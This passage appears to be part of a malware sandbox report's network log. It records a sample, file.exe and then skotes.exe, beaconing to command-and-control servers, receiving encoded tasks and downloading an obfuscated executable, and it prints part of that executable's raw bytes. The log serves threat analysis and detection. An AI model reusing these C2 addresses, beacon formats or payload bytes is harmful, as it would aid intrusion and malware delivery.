Nov 20, 2024 14:43:53.673784018 CET	1236	IN	Data Raw: b5 c2 69 95 bc fe 45 eb cc 5a 6b 63 28 3b 7a 7f 02 d6 5e 78 86 70 f3 ec a1 9e 0c 82 1f 92 7b 3d ec 91 b8 24 e4 76 1a a2 c0 b6 71 a3 a4 3c 78 9f 2b f9 ad 60 ca bc ec 43 60 35 24 64 5e 7f 4e 06 73 84 fc f3 9d c2 0f 71 1e db e2 0b e6 7f 23 14 0d 08 Data Ascii: iEZkc(;z^xp{=$vq<x+`C`5$d^Nsq#%"+T^up'cJ@mYM6VDNrZ5l_ArbaLx0p+3.;s2l\umn]8>,q>D0(F'!*
Nov 20, 2024 14:43:53.796339035 CET	1236	IN	Data Raw: 96 ee 25 b5 84 f6 f1 1c 33 f2 e6 30 96 40 76 3c e8 94 8c a9 b8 45 f2 ab 36 e0 33 48 32 84 fa b3 1e 15 0b 04 b2 d0 8d 4b 61 52 83 ed 74 44 7a d5 45 73 2e a4 b2 80 7e a6 c6 3d 53 44 ac 40 40 42 4f 07 9f 4e e8 98 38 41 3f 1d a2 ae f8 d8 1a d0 e3 84 Data Ascii: %30@v<E63H2KaRtDzEs.~=SD@@BON8A?0.4j<5<5^nGRFJ><Un~9[X+j}66fruL.YNvd8:-D=OX~Dv&R7!w1=c*pZH6F9^u}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49952	185.215.113.206	80	380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:43:57.329317093 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Nov 20, 2024 14:43:59.365341902 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50115	185.215.113.43	80	8312	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:45:05.397593021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 14:45:06.790498972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 13:45:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50122	185.215.113.43	80	8312	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:45:08.442783117 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 41 37 31 42 38 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02A71B85982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 20, 2024 14:45:09.910371065 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 13:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 64 0d 0a 20 3c 63 3e 31 30 30 37 36 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 61 30 38 35 64 61 64 63 39 35 30 36 31 33 39 34 30 36 30 61 66 30 62 62 34 65 61 64 65 62 37 66 38 66 38 61 37 63 35 34 30 62 30 34 34 34 30 61 65 35 62 65 31 34 62 34 62 35 65 36 61 39 37 64 65 65 32 35 36 62 37 62 35 64 31 23 31 30 30 37 36 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 36 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 36 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 22d <c>1007671001+++b5937c1a99d5f9da085dadc95061394060af0bb4eadeb7f8f8a7c540b04440ae5be14b4b5e6a97dee256b7b5d1#1007676001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007677001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007678001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007679001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1007680001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0
Nov 20, 2024 14:45:10.289916992 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 13:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 64 0d 0a 20 3c 63 3e 31 30 30 37 36 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 61 30 38 35 64 61 64 63 39 35 30 36 31 33 39 34 30 36 30 61 66 30 62 62 34 65 61 64 65 62 37 66 38 66 38 61 37 63 35 34 30 62 30 34 34 34 30 61 65 35 62 65 31 34 62 34 62 35 65 36 61 39 37 64 65 65 32 35 36 62 37 62 35 64 31 23 31 30 30 37 36 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 36 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 36 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 22d <c>1007671001+++b5937c1a99d5f9da085dadc95061394060af0bb4eadeb7f8f8a7c540b04440ae5be14b4b5e6a97dee256b7b5d1#1007676001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007677001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007678001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007679001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1007680001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50127	62.60.153.28	80	8312	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:45:10.290636063 CET	63	OUT	GET /Ropsjsn_Belphegor_obf.exe HTTP/1.1 Host: 62.60.153.28
Nov 20, 2024 14:45:11.674513102 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:45:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 20 Nov 2024 12:20:35 GMT ETag: "2ee00-627572d4dbed4" Accept-Ranges: bytes Content-Length: 192000 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 13 d4 3d 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 e6 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 03 00 0e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd=g" @ @@@@ H.text `.rsrc @@HMZ@!L!This program cannot be run in DOS mode.$PEL"0 @ @K H.te
Nov 20, 2024 14:45:11.674583912 CET	1236	IN	Data Raw: 78 74 00 00 00 d4 b1 02 00 00 20 00 00 00 b2 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ad 0d 00 00 00 e0 02 00 00 0e 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f Data Ascii: xt `.rsrc@@.reloc@BH./\(*:(}
Nov 20, 2024 14:45:11.674602032 CET	1236	IN	Data Raw: 7e ea 01 00 04 fe 06 d8 02 00 06 73 1a 00 00 0a 28 01 00 00 2b 28 02 00 00 2b 73 1d 00 00 0a 7e 5d 00 00 04 28 26 00 00 0a 80 e9 01 00 04 2a 2e 73 d7 02 00 06 80 ea 01 00 04 2a 2e 73 dc 02 00 06 80 eb 01 00 04 2a 1a 7e f2 01 00 04 2a 1e 02 80 f2 Data Ascii: ~s(+(+s~](&.s.s~~~~~~~~~~~**(L2~Y
Nov 20, 2024 14:45:11.674616098 CET	1236	IN	Data Raw: 2a 32 02 20 c0 00 00 00 6f 7d 01 00 0a 2a 6a 02 20 cb 00 00 00 6f 7d 01 00 0a 02 03 28 63 03 00 06 16 1e 6f 96 00 00 0a 2a 7e 02 20 ca 00 00 00 6f 7d 01 00 0a 02 03 28 8c 01 00 0a 28 5f 03 00 06 16 1a 6f 96 00 00 0a 2a 6e 03 2c 0c 02 20 c3 00 00 Data Ascii: 2 o}j o}(co~ o}((_on, o}* o}:o(0rp~%-&~!s%(+(+s(+#@(( (,rEp~%-&~"s
Nov 20, 2024 14:45:11.674634933 CET	1236	IN	Data Raw: 6f 29 00 00 0a 73 2a 00 00 0a 0a 06 1f 0a 1f 64 6f 2b 00 00 0a 0b 06 20 f4 01 00 00 20 88 13 00 00 6f 2b 00 00 0a 0c 06 07 08 6f 2b 00 00 0a 0d 06 17 1b 6f 2b 00 00 0a 13 04 16 13 06 2b 15 09 28 2c 00 00 0a 06 07 08 6f 2b 00 00 0a 0d 11 06 17 58 Data Ascii: o)sdo+ o+o+o++(,o+X20rp~%-&~0s%(+(+s($(~-(.,XL%r_p($%rep($%rkp%rop($%
Nov 20, 2024 14:45:11.674648046 CET	1236	IN	Data Raw: 06 73 41 00 00 0a 28 04 00 00 2b 28 05 00 00 2b 28 0b 00 00 06 28 44 00 00 0a 6f 45 00 00 0a 6f 46 00 00 0a 0b 7e 69 00 00 04 72 63 03 00 70 7e 2a 00 00 04 25 2d 17 26 7e 0e 00 00 04 fe 06 3c 00 00 06 73 1a 00 00 0a 25 80 2a 00 00 04 28 01 00 00 Data Ascii: sA(+(+((DoEoF~ircp~%-&~<s%(+(+soG9(HsI oJ-(+Nrmp~+%-&~=s%+(+(+s($(rprpoKrmp~,%-&~>s%
Nov 20, 2024 14:45:11.674662113 CET	1236	IN	Data Raw: de 03 26 de 00 00 7e 62 00 00 04 72 63 03 00 70 7e 38 00 00 04 25 2d 17 26 7e 0e 00 00 04 fe 06 4a 00 00 06 73 1a 00 00 0a 25 80 38 00 00 04 28 01 00 00 2b 28 02 00 00 2b 73 1d 00 00 0a 6f 47 00 00 0a 2c 05 28 12 00 00 06 de 03 26 de 00 00 7e 63 Data Ascii: &~brcp~8%-&~Js%8(+(+soG,(&~crcp~9%-&~Ks%9(+(+soG,(&~drcp~:%-&~Ls%:(+(+soG,sr&&(-((
Nov 20, 2024 14:45:11.674691916 CET	1236	IN	Data Raw: 00 03 00 00 01 00 00 00 00 35 08 00 00 0f 00 00 00 44 08 00 00 03 00 00 00 03 00 00 01 00 00 00 00 48 08 00 00 13 00 00 00 5b 08 00 00 03 00 00 00 03 00 00 01 00 00 00 00 5f 08 00 00 1a 00 00 00 79 08 00 00 03 00 00 00 03 00 00 01 00 00 00 00 7d Data Ascii: 5DH[_y}FF6:G0~\rp
Nov 20, 2024 14:45:11.674705029 CET	1236	IN	Data Raw: 1e 00 00 0a de 00 2a 00 00 41 1c 00 00 00 00 00 00 38 00 00 00 85 01 00 00 bd 01 00 00 18 00 00 00 59 00 00 01 13 30 06 00 d2 00 00 00 00 00 00 00 73 1c 00 00 06 25 17 7d 08 00 00 04 25 16 7d 09 00 00 04 25 72 6e 22 00 70 7e 05 00 00 04 25 2d 17 Data Ascii: *A8Y0s%}%}%rn"p~%-&~s%(+(+s($}%r"p~%-&~s%(+(+sr"p~%-&~s%(+(+s($(&
Nov 20, 2024 14:45:11.674717903 CET	1236	IN	Data Raw: 0f 13 06 07 6f 81 00 00 0a 16 6f 82 00 00 0a 1f 3c 3b 1f 02 00 00 08 09 1f 10 59 4b e0 58 13 07 09 1f 78 59 4b 39 c6 00 00 00 08 09 1f 78 59 4b e0 58 13 0a 08 11 0a 4b e0 58 13 0b 08 11 0a 1f 0c 58 4b e0 58 13 0c 08 11 0b 4b e0 58 18 58 13 0d 11 Data Ascii: oo<;YKXxYK9xYKXKXXKXKXX@(e& ntdlTX l.dlTZXlSXR+XXGRX2@(e& NtCoTX ntinTZX ueSXR+XXGRX2
Nov 20, 2024 14:45:11.794322968 CET	1236	IN	Data Raw: 21 11 19 11 15 11 29 95 11 16 11 29 95 58 34 12 11 19 11 15 11 29 95 59 11 17 11 29 95 58 13 19 2b 0c 11 29 17 58 13 29 11 29 11 04 32 ca 11 18 16 54 11 18 1a 58 16 54 11 18 18 d3 1a 5a 58 16 54 11 18 19 d3 1a 5a 58 16 54 08 11 19 e0 58 13 1a 11 Data Ascii: !))X4)Y)X+)X))2TXTZXTZXTX@(e&TXKXnjXj_XGX*8@(e&XX++b@(e&RXG-X+CRXG-X+,

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.190.177.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-20 13:43:02 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 13:43:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 13:42:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 204e05d6-00ed-49fd-901c-049f1094d96a PPServer: PPV: 30 H: PH1PEPF00012002 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 13:43:02 GMT Connection: close Content-Length: 11177
2024-11-20 13:43:02 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:04 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134250Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a73c308d95d0426aaa875d29d57eff24&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593724&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593724&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: za73m1/PJ0KF3GLX.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 13:43:04 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: qY2Xo5uKCU4OX37By4XnnuYboJrGKEeaA1T+AyCwqjdd3EgbUux1uKa4UKyuhS8hpn+NcnTIhhOwvK6oZJyy03FiD19GWjbouOBZpejlWbrxl6gl/UlBFRQqFLgQuMJcLdVesnfLOrUcFJlQjM2wM4hePJxt24keJUspDzOhv/Twy9u6MTFRcLnt6EGty+Rob08Y5tU2VpMlWTDW+ULf/Lkmg9urLFy90WWrhq3NJG3zfqE6Nzarl+d6I/s9wInfzvbIGqzYhtA1ODIw4oaJ8icGcZ8SFvpDuGoNG9wJSeCWBO1O6qxPSXZT6zkLekfkaNBPwF4QwPkCdNBi1HcB6Q== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:03 GMT Connection: close
2024-11-20 13:43:04 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:04 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134250Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a4547920aa3f49c6a102c14dad48afed&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593724&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593724&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] 